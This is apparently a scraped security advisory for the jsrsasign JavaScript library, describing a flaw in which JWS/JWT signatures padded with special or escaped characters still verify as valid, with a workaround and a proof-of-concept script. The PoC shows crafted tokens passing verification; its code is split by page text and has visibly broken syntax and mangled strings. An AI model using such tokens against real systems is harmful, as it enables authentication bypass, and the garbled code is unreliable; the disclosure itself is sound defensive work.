

# Improper Verification of Cryptographic Signature

Affecting [org.webjars.bower:jsrsasign](#) package, versions [0,]

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### How to fix?

A fix was pushed into the `master` branch but not yet published.

## Overview

[org.webjars.bower:jsrsasign](#) is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature when `JWS` or `JWT` signature with non Base64URL encoding special characters or number escaped characters may be validated as valid by mistake.

## Workaround:

Validate JWS or JWT signature if it has Base64URL and dot safe string before executing `JWS.verify()` or `JWS.verifyJWT()` method.

## PoC:

7.7

HIGH

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Scope

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Availability

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### Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what

```

var KJUR = require('jws'); var rsu =
require('jws-sign-util'); // jws-sign@10.5.24
//// creating valid hs256 jwt - code used to get
valid hs256 jwt. // var oHeader = {alg: 'HS256',
typ: 'JWT'}; // // Payload // var oPayload = {};
// var tNow = KJUR.jws.IntDate.get('now'); // var
tEnd = KJUR.jws.IntDate.get('now + 1year'); //
oPayload.iss =
"https://urldefense.proofpoint.com/v2/url?u=http-
3A__foo.com&d=DwIGAg&c=wwDYKmuFFy0jxUGHACmJfA&r=3J3
oa9S7i8rfsa5Rei7n32BgBaGJoG81CiQO-
pm9ZiZxG9adMdBUE4qski&s=eMfp915Ty8b95Uq4O_s03ukTK16
"; // oPayload.sub = "mailto:mike@foo.com"; //
oPayload.nbf = tNow; // oPayload.iat = tNow; //
oPayload.exp = tEnd; // oPayload.jti =
"id123456"; // oPayload.aud =
"https://urldefense.proofpoint.com/v2/url?u=http-
3A__foo.com_employee&d=DwIGAg&c=wwDYKmuFFy0jxUGHACm
P36zULZ4oa9S7i8rfsa5Rei7n32BgBaGJoG81CiQO-
pm9ZiZxG9adMdBUE4qski&s=bxlm958Hv7dbGuy_vRD4JBci60
"; // // Sign JWT, password=616161 // var sHeader
= JSON.stringify(oHeader); // var sPayload =
JSON.stringify(oPayload); // var sJWT =
KJUR.jws.JWS.sign("HS256", sHeader, sPayload,
"616161"); //verifying valid and invalid hs256
jwt //validjwt var validJwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJod
tawtIQGZvb5Y5b20iLCJwYmV1OjE2NTUyMjk3MjksImhhdCI6MT
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL
1xQUkTDBW-_cyhrPgOOFrZiI"; //invalid jwt with
special signs var invalidJwt1 =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJod
tawtIQGZvb5Y5b20iLCJwYmV1OjE2NTUyMjk3MjksImhhdCI6MT
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL
(!@#%&*(!@#%&*(!@#%&*
(t7Hgs1wSS1xQUkTDBW-_cyhrPgOOFrZiI"; //invalid
jwt with additional numbers and signs var
invalidJwt2 =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJod
tawtIQGZvb5Y5b20iLCJwYmV1OjE2NTUyMjk3MjksImhhdCI6MT
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL
\2\2\3\2\1\2\222\3\1\1\2\2\2\2\2\2\2\2\2\2\222\
_cyhrPgOOFrZiI"; var isValid =
KJUR.jws.JWS.verifyJWT(validJwt, "616161", {alg:
['HS256']})); console.log("valid hs256 Jwt: " +
isValid); //valid Jwt: true //verifying invalid 1
hs256 jwt var isValid =
KJUR.jws.JWS.verifyJWT(invalidJwt1, "616161",

```

application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

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Report a new vulnerability

Found a mistake?

```
(alg: ['HS256']))); console.log("invalid hs256 Jwt  
by special signs: " + isValid); //invalid Jwt by  
special signs: true //verifying invalid 2 hs256  
jwt var isValid =  
KJUR.jws.JWS.verifyJWT(invalidJwt2, "616161",  
(alg: ['HS256']))); console.log("invalid hs256 Jwt  
by additional numbers and slashes: " + isValid);  
//invalid Jwt by additional numbers and slashes:  
true
```

## References

- [GitHub Commit](#)
- [GitHub Release](#)

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